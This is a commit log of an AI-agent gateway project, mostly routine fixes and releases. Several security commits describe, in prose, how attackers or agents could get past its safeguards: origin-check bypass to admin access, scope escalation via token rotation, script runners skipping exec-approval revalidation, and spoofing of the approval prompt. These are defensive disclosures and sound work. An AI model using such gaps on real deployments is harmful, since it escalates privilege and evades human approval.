* Gateway: persist spawned workspace inheritance in sessions

* Agents: clean failed lineage spawn state

* Tests: cover lineage attachment cleanup

* Tests: cover lineage thread cleanup
2026-03-12 04:20:00 -04:00
Vincent Koc
97683071b5 Tests: extend exec allowlist glob coverage 2026-03-12 04:01:49 -04:00
Vincent Koc
9aeaa19e9e Agents: clear invalidated Kimi tool arg repair (#43824) 2026-03-12 03:53:06 -04:00
Val Alexander
c5ea6134d0 feat(ui): add chat infrastructure modules (slice 1/3 of dashboard-v2) (#41497)
* feat(ui): add chat infrastructure modules (slice 1 of dashboard-v2)

New self-contained chat modules extracted from dashboard-v2-structure:

- chat/slash-commands.ts: slash command definitions and completions
- chat/slash-command-executor.ts: execute slash commands via gateway RPC
- chat/slash-command-executor.node.test.ts: test coverage
- chat/speech.ts: speech-to-text (STT) support
- chat/input-history.ts: per-session input history navigation
- chat/pinned-messages.ts: pinned message management
- chat/deleted-messages.ts: deleted message tracking
- chat/export.ts: shared exportChatMarkdown helper
- chat-export.ts: re-export shim for backwards compat

Gateway fix:
- Restore usage/cost stripping in chat.history sanitization
- Add test coverage for sanitization behavior

These modules are additive and tree-shaken — no existing code
imports them yet. They will be wired in subsequent slices.

* Update ui/src/ui/chat/export.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* fix(ui): address review feedback on chat infra slice

- export.ts: handle array content blocks (Claude API format) instead
  of silently exporting empty strings
- slash-command-executor.ts: restrict /kill all to current session's
  subagent subtree instead of all sessions globally
- slash-command-executor.ts: only count truly aborted runs (check
  aborted !== false) in /kill summary

* fix: scope /kill <id> to current session subtree and preserve usage.cost in chat.history

- Restrict /kill <id> matching to only subagents belonging to the current
  session's agent subtree (P1 review feedback)
- Preserve nested usage.cost in chat.history sanitization so cost badges
  remain available (P2 review feedback)

* fix(ui): tighten slash kill scoping

* fix(ui): support legacy slash kill scopes

* fix(ci): repair pr branch checks

* Gateway: harden chat abort and export

* UI: align slash commands with session tree scope

* UI: resolve session aliases for slash command lookups

* Update .gitignore

* Cron: use shared nested lane resolver

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 03:48:58 -04:00
Ayaan Zaidi
ed0ec57a7b fix: scope telegram polling restart to telegram errors (#43799)
* fix: scope telegram polling restart to telegram errors

* fix: make telegram error tagging best-effort

* fix: scope telegram polling restart to telegram errors (#43799)
2026-03-12 13:14:17 +05:30
Vincent Koc
82e3ac21ee Infra: tighten exec allowlist glob matching (#43798)
* Infra: tighten exec allowlist glob matching

* Changelog: note GHSA-f8r2 exec allowlist fix
2026-03-12 03:33:50 -04:00
Vincent Koc
d8ee97c466 Agents: recover malformed Anthropic-compatible tool call args (#42835)
* Agents: recover malformed anthropic tool call args

* Agents: add malformed tool call regression test

* Changelog: note Kimi tool call arg recovery

* Agents: repair toolcall end message snapshots

* Agents: narrow Kimi tool call arg repair
2026-03-12 03:28:22 -04:00
Vincent Koc
4dfd8eea90 BlueBubbles: require confirmed outbound for self-chat cache 2026-03-12 03:22:57 -04:00
Josh Avant
0bcb95e8fa Models: enforce source-managed SecretRef markers in models.json (#43759)
Merged via squash.

Prepared head SHA: 4a065ef5d8
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-03-12 02:22:52 -05:00
Mathias Nagler
e8a162d3d8 fix(mattermost): prevent duplicate messages when block streaming + threading are active (#41362)
* fix(mattermost): prevent duplicate messages when block streaming + threading are active

Remove replyToId from createBlockReplyPayloadKey so identical content is
deduplicated regardless of threading target. Add explicit threading dock
to the Mattermost plugin with resolveReplyToMode reading from config
(default "all"), and add replyToMode to the Mattermost config schema.

Fixes #41219

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(mattermost): address PR review — per-account replyToMode and test clarity

Read replyToMode from the merged per-account config via
resolveMattermostAccount so account-level overrides are honored in
multi-account setups. Add replyToMode to MattermostAccountConfig type.
Rename misleading test to clarify it exercises shouldDropFinalPayloads
short-circuit, not payload key dedup.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Replies: keep block-pipeline reply targets distinct

* Tests: cover block reply target-aware dedupe

* Update CHANGELOG.md

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 03:15:17 -04:00
Vincent Koc
241e8cc553 fix(bluebubbles): dedupe reflected self-chat duplicates (#38442)
* BlueBubbles: drop reflected self-chat duplicates

* Changelog: add BlueBubbles self-chat echo dedupe entry

* BlueBubbles: gate self-chat cache and expand coverage

* BlueBubbles: require explicit sender ids for self-chat dedupe

* BlueBubbles: harden self-chat cache

* BlueBubbles: move self-chat cache identity into cache

* BlueBubbles: gate self-chat cache to confirmed outbound sends

* Update CHANGELOG.md

* BlueBubbles: bound self-chat cache input work

* Tests: cover BlueBubbles cache cap under cleanup throttle

* BlueBubbles: canonicalize self-chat DM scope

* Tests: cover BlueBubbles mixed self-chat scope aliases
2026-03-12 03:11:43 -04:00
wangchunyue(王春跃)
6c196c913f fix(cron): prevent duplicate proactive delivery on transient retry (#40646)
* fix(cron): prevent duplicate proactive delivery on transient retry

* refactor: scope skipQueue to retryTransient path only

Non-retrying direct delivery (structured content / thread) keeps the
write-ahead queue so recoverPendingDeliveries can replay after a crash.

Addresses review feedback from codex-connector.

* fix: preserve write-ahead queue on initial delivery attempt

The first call through retryTransientDirectCronDelivery now keeps the
write-ahead queue entry so recoverPendingDeliveries can replay after a
crash.  Only subsequent retry attempts set skipQueue to prevent
duplicate sends.

Addresses second codex-connector review on ea5ae5c.

* ci: retrigger checks

* Cron: bypass write-ahead queue for direct isolated delivery

* Tests: assert isolated cron skipQueue invariants

* Changelog: add cron duplicate-delivery fix entry

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 03:01:19 -04:00
lisitan
f3c00fce15 fix: prevent duplicate assistant messages in TUI (fixes #35278) (#35364)
* fix: prevent duplicate assistant messages in TUI (fixes #35278)

When startAssistant() is called multiple times with the same runId,
it was creating duplicate AssistantMessageComponent instances instead
of reusing the existing one. This caused messages to appear twice in
the terminal UI.

The fix checks if a component already exists for the runId before
creating a new one. If it exists, we update its text instead of
appending a duplicate component.

Test coverage includes verification that:
- Only one component is created when startAssistant is called twice
- The second text replaces the first
- Component count remains 1 (prevents regression)

Generated with [Claude Code](https://claude.ai/code)
via [Happy](https://happy.engineering)

Co-Authored-By: Claude <noreply@anthropic.com>
Co-Authored-By: Happy <yesreply@happy.engineering>

* Changelog: add TUI duplicate-render fix entry

---------

Co-authored-by: 沐沐 <mumu@example.com>
Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Happy <yesreply@happy.engineering>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-12 02:59:42 -04:00
Vincent Koc
99ec687d7a fix(agents): enforce sandboxed session_status visibility (#43754)
* agents: guard sandboxed session_status access

* test(agents): cover sandboxed session_status scope

* docs(changelog): credit session_status hardening

* agents: preflight sandboxed session_status checks

* test(agents): cover session_status existence oracle

* agents: preserve legacy session_status tree keys

* test(agents): cover legacy session_status tree keys

* Update CHANGELOG.md
2026-03-12 02:54:25 -04:00
Vincent Koc
12dc299cde fix(imessage): dedupe reflected self-chat duplicates (#38440)
* iMessage: drop reflected self-chat duplicates

* Changelog: add iMessage self-chat echo dedupe entry

* iMessage: keep self-chat dedupe scoped to final group identity

* iMessage: harden self-chat cache

* iMessage: sanitize self-chat duplicate logs

* iMessage: scope group self-chat dedupe by sender

* iMessage: move self-chat cache identity into cache

* iMessage: hash full self-chat text

* Update CHANGELOG.md
2026-03-12 02:27:35 -04:00
Luke
8baf55d8ed Changelog: note Reminders permission fix 2026-03-12 17:01:42 +11:00
Dinakar Sarbada
cee8717020 fix(macos): add NSRemindersUsageDescription for apple-reminders skill
Fixes #5090

Without this plist key, macOS silently denies Reminders access when
running through OpenClaw.app, preventing the apple-reminders skill
from requesting permission.

(cherry picked from commit e5774471c8)
2026-03-12 17:01:38 +11:00
Ayaan Zaidi
f7416da905 style: format changelog 2026-03-12 11:28:27 +05:30
Vincent Koc
d8d8dc7421 Infra: fail closed without device scope baseline 2026-03-12 01:42:12 -04:00
Vincent Koc
276ee259ca Tests: clean up temp git helper directory 2026-03-12 01:42:12 -04:00
Vincent Koc
99a5a3c16a Update CHANGELOG.md 2026-03-12 01:37:33 -04:00
Vincent Koc
672924b01e Update CHANGELOG.md 2026-03-12 01:36:16 -04:00
Vincent Koc
4f462facda Infra: cap device tokens to approved scopes (#43686)
* Infra: cap device tokens to approved scopes

* Changelog: note device token hardening
2026-03-12 01:25:52 -04:00
Vincent Koc
2504cb6a1e Security: escape invisible exec approval format chars (#43687)
* Infra: escape invisible exec approval chars

* Gateway: sanitize exec approval display text

* Tests: cover sanitized exec approval payloads

* Tests: cover sanitized exec approval forwarding

* Changelog: note exec approval prompt hardening
2026-03-12 01:20:04 -04:00
Vincent Koc
1dcef7b644 Infra: block GIT_EXEC_PATH in host env sanitizer (#43685)
* Infra: block GIT_EXEC_PATH in host env sanitizer

* Changelog: note host env hardening
2026-03-12 01:16:03 -04:00
Vincent Koc
18f15850e6 fix(browser): restore proxy attachment media size cap (#43684)
* browser: honor shared proxy file size cap

* test(browser): cover proxy file size cap

* docs(changelog): note browser proxy size cap fix
2026-03-12 01:04:31 -04:00
Peter Steinberger
29dc65403f build: prepare 2026.3.11 release 2026-03-12 05:01:07 +00:00
Neerav Makwana
c65390cbde docs: update Raspberry Pi dashboard access instructions (#43584)
* docs(pi): update dashboard access instructions

* docs(i18n): refresh raspberry pi source hash

* docs: clarify Raspberry Pi dashboard access

* fix: clarify Raspberry Pi dashboard access (#43584) (thanks @neeravmakwana)

---------

Co-authored-by: Neerav Makwana <261249544+neeravmakwana@users.noreply.github.com>
Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
2026-03-12 10:04:44 +05:30
Peter Steinberger
b125c3ba06 build: bump openclaw to 2026.3.11-beta.1 2026-03-12 04:08:19 +00:00
Ayaan Zaidi
fbc1bd6f8e fix: clear telegram polling cleanup timers 2026-03-12 09:36:04 +05:30
Huang X
70abee69e9 fix(telegram): avoid polling restart hang after stall detection 2026-03-12 09:36:04 +05:30
Peter Steinberger
ce5dd742f8 build: sync versions to 2026.3.11 2026-03-12 04:01:57 +00:00
Peter Steinberger
96485701a7 docs: update 2026.3.11 release examples 2026-03-12 04:01:56 +00:00
Toven
ade748176f OpenRouter: surface free Hunter and Healer stealth models for the next week (#43642)
* Models: add temporary Hunter and Healer alpha to OpenRouter catalog

* Add temporary OpenRouter stealth catalog entries

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-11 22:58:48 -05:00
Peter Steinberger
1fcee52a5c docs: reorder unreleased changelog by user impact 2026-03-12 03:42:39 +00:00
David Rudduck
f01c41b27a fix(context-engine): guard compact() throw + fire hooks for ownsCompaction engines (#41361)
Merged via squash.

Prepared head SHA: 0957b32dc6
Co-authored-by: davidrudduck <47308254+davidrudduck@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-11 20:19:20 -07:00
Frank Yang
5231277163 fix(acp): rehydrate restarted main ACP sessions (#43285)
Merged via squash.

Prepared head SHA: f06318e58f
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-12 11:05:09 +08:00
Peter Steinberger
5ca780fa78 feat: expose runtime version in gateway status 2026-03-12 02:55:31 +00:00
Robin Waslander
e95f2dcd6e fix(sandbox): anchor fs-bridge writeFile commit to canonical parent path
Refs: GHSA-xvx8-77m6-gwg6
2026-03-12 03:52:24 +01:00
Peter Steinberger
43a10677ed fix: isolate plugin discovery env from global state 2026-03-12 02:46:29 +00:00
Peter Steinberger
17fd46ab66 test: fix websocket tool shape coverage 2026-03-12 02:16:56 +00:00
Robin Waslander
487a3ba8ce fix(discord): enforce users/roles allowlist in reaction ingress
References GHSA-9vvh-2768-c8vp.
2026-03-12 03:13:46 +01:00
Peter Steinberger
980619b9be fix: harden openai websocket replay 2026-03-12 02:13:06 +00:00
Peter Steinberger
607c158a75 test(cli): update daemon coverage restart contract 2026-03-12 01:43:27 +00:00
Peter Steinberger
b31836317a fix(cli): handle scheduled gateway restarts consistently 2026-03-12 01:38:39 +00:00
Robin Waslander
841ee24340 fix(daemon): address clanker review findings for kickstart restart
Bug 1 (high): replace fixed sleep 1 with caller-PID polling in both
kickstart and start-after-exit handoff modes. The helper now waits until
kill -0 $caller_pid fails before issuing launchctl kickstart -k.

Bug 2 (medium): gate enable+bootstrap fallback on isLaunchctlNotLoaded().
Only attempt re-registration when kickstart -k fails because the job is
absent; all other kickstart failures now re-throw the original error.

Follows up on 3c0fd3dffe.
Fixes #43311, #43406, #43035, #43049
2026-03-12 02:16:24 +01:00
Robin Waslander
b7a37c2023 fix(node-host): extend script-runner set and add fail-closed guard for mutable-file approval
tsx, jiti, ts-node, ts-node-esm, vite-node, and esno were not recognized
as interpreter-style script runners in invoke-system-run-plan.ts. These
runners produced mutableFileOperand: null, causing invoke-system-run.ts
to skip revalidation entirely. A mutated script payload would execute
without the approval binding check that node ./run.js already enforced.

Two-part fix:
- Add tsx, jiti, and related TypeScript/ESM loaders to the known script
  runner set so they produce a valid mutableFileOperand from the planner
- Add a fail-closed runtime guard in invoke-system-run.ts that denies
  execution when a script run should have a mutable-file binding but the
  approval plan is missing it, preventing unknown future runners from
  silently bypassing revalidation

Fixes GHSA-qc36-x95h-7j53
2026-03-12 01:34:35 +01:00
Luke
a5ceb62d44 fix(whatsapp): trim leading whitespace in direct outbound sends (#43539)
Trim leading whitespace from direct WhatsApp text and media caption sends.

Also guard empty text-only web sends after trimming.
2026-03-12 11:32:04 +11:00
Peter Steinberger
7e3787517f fix: harden state dir permissions during onboard 2026-03-12 00:26:36 +00:00
Robin Waslander
ebed3bbde1 fix(gateway): enforce browser origin check regardless of proxy headers
In trusted-proxy mode, enforceOriginCheckForAnyClient was set to false
whenever proxy headers were present. This allowed browser-originated
WebSocket connections from untrusted origins to bypass origin validation
entirely, as the check only ran for control-ui and webchat client types.

An attacker serving a page from an untrusted origin could connect through
a trusted reverse proxy, inherit proxy-injected identity, and obtain
operator.admin access via the sharedAuthOk / roleCanSkipDeviceIdentity
path without any origin restriction.

Remove the hasProxyHeaders exemption so origin validation runs for all
browser-originated connections regardless of how the request arrived.

Fixes GHSA-5wcw-8jjv-m286
2026-03-12 01:16:52 +01:00
Robin Waslander
3c0fd3dffe fix(daemon): replace bootout with kickstart -k for launchd restarts on macOS
On macOS, launchctl bootout permanently unloads the LaunchAgent plist.
Even with KeepAlive: true, launchd cannot respawn a service whose plist
has been removed from its registry. This left users with a dead gateway
requiring manual 'openclaw gateway install' to recover.

Affected trigger paths:
- openclaw gateway restart from an agent session (#43311)
- SIGTERM on config reload (#43406)
- Gateway self-restart via SIGTERM (#43035)
- Hot reload on channel config change (#43049)

Switch restartLaunchAgent() to launchctl kickstart -k, which force-kills
and restarts the service without unloading the plist. When the restart
originates from inside the launchd-managed process tree, delegate to a
new detached handoff helper (launchd-restart-handoff.ts) to avoid the
caller being killed mid-command. Self-restart paths in process-respawn.ts
now schedule the detached start-after-exit handoff before exiting instead
of relying on exit/KeepAlive timing.

Fixes #43311, #43406, #43035, #43049
2026-03-12 01:16:49 +01:00
Peter Steinberger
e11be576fb fix: repair bundled plugin dirs after npm install 2026-03-11 23:53:50 +00:00
Vincent Koc
b6d83749c8 fix(terminal): sanitize skills JSON and fallback on legacy Windows (#43520)
* Terminal: use ASCII borders on legacy Windows consoles

* Skills: sanitize JSON output for control bytes

* Changelog: credit terminal follow-up fixes

* Update CHANGELOG.md

* Update CHANGELOG.md

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* Skills: strip remaining escape sequences from JSON output

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-11 19:53:07 -04:00
Peter Steinberger
0e397e62b7 chore: bump version to 2026.3.10 2026-03-11 23:29:53 +00:00
Brian Yu
cced1e0f76 preserve openai phase param 2026-03-11 23:15:52 +00:00
Gustavo Madeira Santana
da6f97a3f6 Memory: revalidate multimodal files before indexing 2026-03-11 22:51:34 +00:00
zhoulf1006
453c8d7c1b fix(hooks): add missing trigger and channelId to agent_end, llm_input, and llm_output hook contexts (#42362)
Merged via squash.

Prepared head SHA: e6d7b7e31a
Co-authored-by: zhoulf1006 <35586967+zhoulf1006@users.noreply.github.com>
Co-authored-by: hydro13 <6640526+hydro13@users.noreply.github.com>
Reviewed-by: @hydro13
2026-03-11 23:40:13 +01:00
Gustavo Madeira Santana
d79ca52960 Memory: add multimodal image and audio indexing (#43460)
Merged via squash.

Prepared head SHA: a994c07190
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-11 22:28:34 +00:00
Harold Hunt
20d097ac2f Gateway/Dashboard: surface config validation issues (#42664)
Merged via squash.

Prepared head SHA: 43f66cdcf0
Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Reviewed-by: @huntharo
2026-03-11 17:32:41 -04:00
Altay
4eccea9f7f test(gateway): widen before tool hook mock typing (#43476)
* test(gateway): widen before tool hook mock typing

* chore: update pnpm.lock
2026-03-12 00:17:03 +03:00
Peter Steinberger
8cc0c9baf2 fix(gateway): run before_tool_call for HTTP tools 2026-03-11 20:18:24 +00:00
Peter Steinberger
c8dd06cba2 fix(ws): preserve payload overrides 2026-03-11 20:11:51 +00:00
Peter Steinberger
bdd9ed238a test: align pi-ai oauth mocks 2026-03-11 20:11:51 +00:00
Peter Steinberger
5e324cf785 docs(ollama): align onboarding guidance with code 2026-03-11 20:11:51 +00:00
Peter Steinberger
e65011dc29 fix(onboard): default custom Ollama URL to native API 2026-03-11 20:11:51 +00:00
Peter Steinberger
620bae4ec7 fix(ollama): share model context discovery 2026-03-11 20:11:51 +00:00
Peter Steinberger
9329a0ab24 test(agents): cover openai responses phase replay 2026-03-11 20:10:55 +00:00
Peter Steinberger
9c81c31232 chore: refresh dependencies except carbon 2026-03-11 20:10:33 +00:00
Tak Hoffman
4133edb395 fix: restore web tools to coding profile (#43436)
* fix: restore web tools to coding profile

* fix: tighten tool catalog regression assertion
2026-03-11 15:07:17 -05:00
Squabble9
128e5bc317 fix: recognize Venice 402 billing errors for model fallback (#43205)
Merged via squash.

Prepared head SHA: 1f6b10b9d9
Co-authored-by: Squabble9 <194720422+Squabble9@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 22:15:32 +03:00
Gustavo Madeira Santana
01ffc5db24 memory: normalize Gemini embeddings (#43409)
Merged via squash.

Prepared head SHA: 70613e0225
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-11 15:06:21 -04:00
ingyukoh
2a18cbb110 fix(agents): prevent false billing error replacing valid response text (#40616)
Merged via squash.

Prepared head SHA: 05179362b4
Co-authored-by: ingyukoh <6015960+ingyukoh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 22:00:11 +03:00
ingyukoh
78b9384aa7 fix(discord): add missing autoThread to DiscordGuildChannelConfig type (#35608)
Merged via squash.

Prepared head SHA: e62b88bb01
Co-authored-by: ingyukoh <6015960+ingyukoh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 21:54:49 +03:00
VibhorGautam
4473242b4f fix: use unknown instead of rate_limit as default cooldown reason (#42911)
Merged via squash.

Prepared head SHA: bebf6704d7
Co-authored-by: VibhorGautam <55019395+VibhorGautam@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 21:34:14 +03:00
Bill Chirico
60aed95346 feat(memory): add gemini-embedding-2-preview support (#42501)
Merged via squash.

Prepared head SHA: c57b1f8ba2
Co-authored-by: BillChirico <13951316+BillChirico@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-11 14:28:53 -04:00
ademczuk
58634c9c65 fix(agents): check billing errors before context overflow heuristics (#40409)
Merged via squash.

Prepared head SHA: c88f89c462
Co-authored-by: ademczuk <5212682+ademczuk@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 21:08:55 +03:00
ingyukoh
f417d78eef fix(config): add missing editMessage and createForumTopic to Telegram actions schema (#35498)
Merged via squash.

Prepared head SHA: 631fc14832
Co-authored-by: ingyukoh <6015960+ingyukoh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 20:59:27 +03:00
ingyukoh
a84bcf734c fix(signal): add missing accountUuid to Zod config schema (#35578)
Merged via squash.

Prepared head SHA: 39e8e9ad62
Co-authored-by: ingyukoh <6015960+ingyukoh@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-11 20:57:07 +03:00
ademczuk
8618a711ff fix(voice-call): add speed and instructions to OpenAI TTS config schema (#39226)
Merged via squash.

Prepared head SHA: 775e3063b5
Co-authored-by: ademczuk <5212682+ademczuk@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-11 23:15:48 +05:30
Ayaan Zaidi
daf8afc954 fix(telegram): clear stale retain before transient final fallback (#41763)
Merged via squash.

Prepared head SHA: c0940838bc
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-11 21:36:43 +05:30
Tak Hoffman
87876a3e36 Fix env proxy bootstrap for model traffic (#43248)
* Fix env proxy bootstrap for model traffic

* Address proxy dispatcher review followups

* Fix proxy env precedence for empty lowercase vars
2026-03-11 10:21:35 -05:00
Peter Steinberger
1435fce2de fix: tighten Ollama onboarding cloud handling (#41529) (thanks @BruceMacD) 2026-03-11 14:52:55 +00:00
Bruce MacDonald
d6108a6f72 Onboard: add Ollama auth flow and improve model defaults
Add Ollama as a auth provider in onboarding with Cloud + Local mode
selection, browser-based sign-in via /api/me, smart model suggestions
per mode, and graceful fallback when the default model is unavailable.

- Extract shared ollama-models.ts
- Auto-pull missing models during onboarding
- Non-interactive mode support for CI/automation

Closes #8239
Closes #3494

Co-Authored-By: Jeffrey Morgan <jmorganca@gmail.com>
2026-03-11 14:52:55 +00:00
Robin Waslander
62d5df28dc fix(agents): add nodes to owner-only tool policy fallbacks
The nodes tool was missing from OWNER_ONLY_TOOL_NAME_FALLBACKS in
tool-policy.ts. applyOwnerOnlyToolPolicy() correctly removed gateway
and cron for non-owners but kept nodes, which internally issues
privileged gateway calls: node.pair.approve (operator.pairing) and
node.invoke (operator.write).

A non-owner sender could approve pending node pairings and invoke
arbitrary node commands, extending to system.run on paired nodes.

Add nodes to the fallback owner-only set. Non-owners no longer receive
the nodes tool after policy application; owners retain it.

Fixes GHSA-r26r-9hxr-r792
2026-03-11 14:17:03 +01:00
Robin Waslander
a1520d70ff fix(gateway): propagate real gateway client into plugin subagent runtime
Plugin subagent dispatch used a hardcoded synthetic client carrying
operator.admin, operator.approvals, and operator.pairing for all
runtime.subagent.* calls. Plugin HTTP routes with auth:"plugin" require
no gateway auth by design, so an unauthenticated external request could
drive admin-only gateway methods (sessions.delete, agent.run) through
the subagent runtime.

Propagate the real gateway client into the plugin runtime request scope
when one is available. Plugin HTTP routes now run inside a scoped
runtime client: auth:"plugin" routes receive a non-admin synthetic
operator.write client; gateway-authenticated routes retain admin-capable
scopes. The security boundary is enforced at the HTTP handler level.

Fixes GHSA-xw77-45gv-p728
2026-03-11 14:17:01 +01:00
Robin Waslander
dafd61b5c1 fix(gateway): enforce caller-scope subsetting in device.token.rotate
device.token.rotate accepted attacker-controlled scopes and forwarded
them to rotateDeviceToken without verifying the caller held those
scopes. A pairing-scoped token could rotate up to operator.admin on
any already-paired device whose approvedScopes included admin.

Add a caller-scope subsetting check before rotateDeviceToken: the
requested scopes must be a subset of client.connect.scopes via the
existing roleScopesAllow helper. Reject with missing scope: <scope>
if not.

Also add server.device-token-rotate-authz.test.ts covering both the
priv-esc path and the admin-to-node-invoke chain.

Fixes GHSA-4jpw-hj22-2xmc
2026-03-11 14:16:59 +01:00
Vincent Koc
04e103d10e fix(terminal): stabilize skills table width across Terminal.app and iTerm (#42849)
* Terminal: measure grapheme display width

* Tests: cover grapheme terminal width

* Terminal: wrap table cells by grapheme width

* Tests: cover emoji table alignment

* Terminal: refine table wrapping and width handling

* Terminal: stop shrinking CLI tables by one column

* Skills: use Terminal-safe emoji in list output

* Changelog: note terminal skills table fixes

* Skills: normalize emoji presentation across outputs

* Terminal: consume unsupported escape bytes in tables
2026-03-11 09:13:10 -04:00
Vincent Koc
361f3109a5 Terminal: consume unsupported escape bytes in tables 2026-03-11 09:11:25 -04:00
Vincent Koc
accabda65c Skills: normalize emoji presentation across outputs 2026-03-11 09:11:20 -04:00
Vincent Koc
ad7db1cc06 Changelog: note terminal skills table fixes 2026-03-11 09:05:20 -04:00
Andyliu
10e6e27451 fix(models): guard optional model input capabilities (#42096)
Merged via squash.

Prepared head SHA: d398fa0222
Co-authored-by: andyliu <2377291+andyliu@users.noreply.github.com>
Co-authored-by: hydro13 <6640526+hydro13@users.noreply.github.com>
Reviewed-by: @hydro13
2026-03-11 13:43:59 +01:00
Nimrod Gutman
144c1b802b macOS/onboarding: prompt for remote gateway auth tokens (#43100)
Merged via squash.

Prepared head SHA: 00e2ad847b
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-03-11 13:53:19 +02:00
Luke
f063e57d4b fix(macos): use foundationValue when serializing browser proxy POST body (#43069)
Merged via squash.

Prepared head SHA: 04c33fa061
Co-authored-by: ImLukeF <1272861+Effet@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-11 19:14:01 +08:00
Nimrod Gutman
2d91284fdb feat(ios): add local beta release flow (#42991)
Merged via squash.

Prepared head SHA: 82b38fe93b
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-03-11 12:32:28 +02:00
Frank Yang
665f677265 docs(changelog): update context pruning PR reference 2026-03-11 18:07:37 +08:00
Frank Yang
d68d4362ee fix(context-pruning): cover image-only tool-result pruning 2026-03-11 18:07:37 +08:00
MoerAI
a78674f115 fix(context-pruning): prune image-containing tool results instead of skipping them (#41789) 2026-03-11 18:07:37 +08:00
ademczuk
dc4441322f fix(agents): include azure-openai in Responses API store override (#42934)
Merged via squash.

Prepared head SHA: d3285fef41
Co-authored-by: ademczuk <5212682+ademczuk@users.noreply.github.com>
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Reviewed-by: @frankekn
2026-03-11 16:16:10 +08:00
Ayaan Zaidi
a2e30824e6 fix(telegram): fall back on ambiguous first preview sends 2026-03-11 11:23:10 +05:30
Wayne
e37e1ed24e fix(telegram): prevent duplicate messages with slow LLM providers (#41932)
Merged via squash.

Prepared head SHA: 2f50c51d5a
Co-authored-by: hougangdev <105773686+hougangdev@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-03-11 11:19:55 +05:30
Vincent Koc
f46913b834 Skills: use Terminal-safe emoji in list output 2026-03-11 01:40:15 -04:00
Vincent Koc
209decf25c Terminal: stop shrinking CLI tables by one column 2026-03-11 01:40:01 -04:00
Vincent Koc
c58fffdab6 Terminal: refine table wrapping and width handling 2026-03-11 01:39:43 -04:00
Luke
7761e7626f Providers: add Opencode Go support (#42313)
* feat(providers): add opencode-go provider support and onboarding

* Onboard: unify OpenCode auth handling openclaw#42313 thanks @ImLukeF

* Docs: merge OpenCode Zen and Go docs openclaw#42313 thanks @ImLukeF

* Update CHANGELOG.md

---------

Co-authored-by: Ubuntu <ubuntu@vps-90352893.vps.ovh.ca>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-11 01:31:06 -04:00
Vincent Koc
0d7db6c652 Update CHANGELOG.md 2026-03-11 01:04:18 -04:00
Vincent Koc
bd33a340fb fix(sandbox): sanitize Docker env before marking OPENCLAW_CLI (#42256)
* Sandbox: sanitize Docker env before exec marker injection

* Sandbox: add regression test for Docker exec marker env

* Sandbox: disable Windows shell fallback for Docker

* Sandbox: cover Windows Docker wrapper rejection

* Sandbox: test strict env sanitization through Docker args
2026-03-11 00:59:36 -04:00
Luke
061b8258bc macOS: add chat model selector and persist thinking (#42314)
